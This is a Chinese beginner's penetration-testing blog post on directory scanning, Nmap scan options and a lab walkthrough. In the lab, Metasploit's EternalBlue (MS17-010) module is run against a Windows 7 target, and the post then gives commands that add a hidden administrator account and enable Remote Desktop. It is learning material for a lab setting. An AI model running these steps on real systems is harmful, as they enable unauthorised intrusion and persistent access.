• 【渗透测试小白系列】之目录扫描、Nmap的使用及使用Metasploit通过MS17-010获取系统权限


    (本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)

     

    一、定义

    目录扫描:扫描站点的目录,寻找敏感文件(目录名、探针文件、后台、robots.txt、备份文件)

    • 目录:站点结构,权限控制不严格(列目录)

    • 探针文件:服务器配置信息,phpinfo.php、readme.txt、config.txt
    • 后台:登录管理整个网站的入口,inurl:admin.php、inurl:admin.asp
    • robots.txt:一般存放在站点根目录,如果管理员对于robots.txt文件管理不合理,就会造成信息泄露
    • 备份文件:数据库备份文件、网站备份文件等  .bak  .zip  www.rar

     

    二、扫描工具

    1.御剑后台扫描工具:

    2.DirBuster:需要依赖Java的配置环境

    • 原理:使用字典,做请求

    3.Nmap

     

    三、Nmap

    1.定义

    Nmap:最早是Linux中的扫面和嗅探工具,网络连接扫描工具,主要负责探测主机存活(是否开机)、开启服务(扫端口)、安全性问题(高级用法//script)、系统类型(OS类型)

    2.安装Nmap需要配置环境变量

    3.命令行模式的用法:

    1 nmap -h 帮助信息
    2 nmap 目标IP  扫描单个IP

    • 状态:
    状态 含义

    open

    开启

    closed

    关闭

    filtered

    数据包被过滤,探测包被拦截,无法定位端口

    是否开启

    unfiltered

    数据包未过滤,探测包没有被拦截,

    nmap无法判断该端口是否开启

    open|filtered

    开放或者被过滤

    closed|filtered

    关闭或者被过滤

    nmap 192.168.211.0/24  扫描整个网段

    • Nmap的用法
    1 nmap 192.168.1.10-200  扫描指定网段的网络
    2 nmap 192,168.1.10,100,200-230  扫描10,100200-230的网络
    3 nmap 192.168.1.0/24 10.10.10.0/24  扫描不同网段
    4 nmap -iL filename 扫描目标文件
    5 nmap -iR  随机选择目标去探测
    6 nmap -sS -PS80 -iR 0(无休止去扫描) -p80
    7 nmap 192.168.1.0/24 --exclude 192.168.1.1,255(广播包),4-20  排除某些指定的IP去扫描
    8 nmap -iL filename1 --excludefile filename2  其中filename1是需要扫描的,filename2不需要扫描

    4.带有参数的扫描:

    nmap -sT 192.168.1.1  使用TCP全连接方式,扫描过程需要三次握手,和端口建立连接,建立连接,说明端口开放,但是扫描速度慢

    1 nmap -sN 192.168.1.1 = nmap 192.168.1.1  NULL扫描,发出的数据包不设置任何的标识位
    2 nmap -p3306,5432 192.168.1.1  扫描指定端口
    3 nmap -p- = -p1-65535  扫描所有端口
    4 nmap -sV 192.168.1.1  探测服务版本

    1 nmap 192.168.1.1 >./re.txt  将扫描结果重定向到re.txt中
    2 nmap 192.168.1.1 -oX ./Desktop/re.xml  将扫描结果写进re.xml中

    • 用浏览器打开re.xml,可以看到NMAP的扫描报告

    nmap -A 192.168.1.1  获取目标所有的详细结构,全面扫描

    nmap -O 192.168.1.1  探测操作系统类型

    nmap --script  使用脚本去探测漏洞,后跟脚本
    • Nmap自带的脚本

    1 nmap --script smb-vuln-ms17-010 192.168.1.1  探测永痕之蓝
    2 nmap --script smb-check-vulns 192.168.1.1  MS08-067,探测MSP的溢出漏洞
    3 nmap --script ssl-heartbleed 192.168.1.1  探测心脏滴血 

    四、使用Nmap扫描kali服务器

    1.查看kali服务器与宿主机的连通性

    2.要使用Nmap扫描kali服务器,就要开启kali中的WEB、SSH、PostgreSQL、MySQL、Samba、VSFTP服务

    1 /etc/init.d/apache2 start  启动HTTP服务
    2 /etc/init.d/apache2 status  查看HTTP服务状态

    /etc/init.d/ssh status  查看SSH服务状态

    1 /etc/init.d/postgresql start  启动PostgreSQL服务
    2 /etc/init.d/postgresql status  查看PostgreSQL服务状态

    1 /etc/init.d/mysql start  启动MySQL服务
    2 /etc/init.d/mysql status  查看MySQL服务状态

    apt install samba  安装Samba

    1 /etc/init.d/smbd start  开启Samba服务
    2 /etc/init.d/smbd status  查看Samba服务状态

    apt install vsftpd  安装Vsftp服务

    1 /etc/init.d/ vsftpd start  开启Vsftp服务
    2 /etc/init.d/ vsftpd status  查看Vsftp服务状态

    netstat -ntulp|grep smbd  查看Smbd服务的端口状态
    netstat -ntulp|grep 3306  查看MySQL服务的端口状态
    netstat -ntulp|grep 5432  查看PostgreSQL服务的端口状态

    3.使用Nmap扫描kali服务器

    1 nmap kali服务器的IP  扫描kali服务器
    2 nmap -p5432 kali服务器的IP  扫描5432端口信息,即PostgreSQL服务信息
    3 nmap -p3306 kali服务器的IP  扫描3306端口信息,即MySQL服务信息

    • 下图可以看到,扫描结果显示5432端口和3306端口是关闭状态,因为MySQL不允许外联

    五、使用kali中的Metasploit通过MS17-010永痕之蓝获取系统权限

    攻击者:kali服务器

    靶机:Windows 7 系统

    1.关闭Win7系统中的防火墙,并查看攻击者与靶机的连通性

    2.查看kali中是否有smb-vuln-ms17-010.nse的脚本,开启kali中的postgresql数据库并使用nmap --script参数调用smb-vuln-ms17-010.nse脚本检测MS17-010漏洞

    1 whereis nmap  查找Nmap的位置
    2 cd /usr/share/nmap  进入Nmap
    3 cd scripts/  进入Nmap存放脚本的文件
    4 find . -name /*smb*/  查找永痕之蓝
    • /usr/bin 里面装着二进制文件 相当于快捷方式

    • vulnerable表示有漏洞,受威胁,Risk factor: High表示风险高;not vulnerable无漏洞
    • 这里检测出了ms17-010漏洞

    3.这里先介绍几个在Metasploit中经常会用到的工具

    1 cd /usr/share/metasploit-framework
    2 cd modules

    • auxiliary:辅助模块
    • encoders:供Msfencode编码工具使用,具体可使用msfencode -l
    • exploits:攻击模块,每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录
    • payloads:这里面列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
    • post:后渗透阶段模块,在获得meterpreter的shell之后可以使用的攻击代码。比如常用的hashdump,arp_scanner就在这里

    (常用工具知识点出自CSDN博主「the__apollo」,原文链接:https://blog.csdn.net/the__apollo/article/details/70475962十分详细,感谢!)

    4.在上面使用Nmap时检测出了ms17-010漏洞,开启Metasploit并使用Metasploit查找渗透模块

    1 Metasploit  开启Msf
    2 search 17-010  搜索cve(漏洞编号前缀)17-010相关的EXP(漏洞利用脚本)

    • auxiliary/scanner/smb/smb_ms17_010  scanner和nmap一样:扫描漏洞是否存在

    • exploit/windows/smb/ms17_010_eternalblue  用来做攻击的EXP

    5.探测漏洞是否存在

    1 use auxiliary/scanner/smb/smb_ms17_010  探测漏洞是否存在
    2 show options  查看所需设置的参数

    6.上图可以看到RHOST(远程IP地址)还没有设置,设置远程地址,并运行攻击测试

    1 set rhosts 192.168.1.0/24  设置远程IP为靶机的整个网段
    2 run  运行攻击测试

    • 下图可以看到,在扫描的全部网段中,可探测到目标IP存在漏洞

    7.使用攻击模块,设置远程地址,并运行攻击测试

    8.攻击成功,进行测试,并在靶机里加入一个隐藏用户(隐藏用户后面加$),提升隐藏用户的权限,方便我们后续的操作测试

    1 net user host$  host$的密码 /add  添加隐藏用户host$
    2 net localgroup administrators host$ /add  将host$用户加入到管理员组中,从而提升权限
    3 net user host$  查看host$用户信息

    9.查看Windows远程桌面的服务端口是否开启

    1 netstat -ano|findstr 3389  查看远程桌面端口状态
    2 REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f  开启终端服务
    3 net user administrator /active:yes  激活管理员用户

    10.新开一个终端,使用远程桌面连接的靶机,进行操作

    1 rdesktop 靶机的IP  使用远程桌面连接靶机

    • 连接靶机,连接成功,进入以下界面,是用隐藏用户登录靶机,攻击成功!!!

  • 相关阅读:
    关于HTML5画布canvas的功能
    HTML5新标签介绍
    为HTML5添加新样式标签
    iOS开发相关图书推荐
    Android相关图书推荐
    C语言相关图书推荐
    C#相关图书推荐
    C++相关图书推荐
    JavaScript相关图书推荐
    Java相关书籍推荐
  • 原文地址:https://www.cnblogs.com/yankaohaitaiwei/p/11593970.html
Copyright © 2020-2023  润新知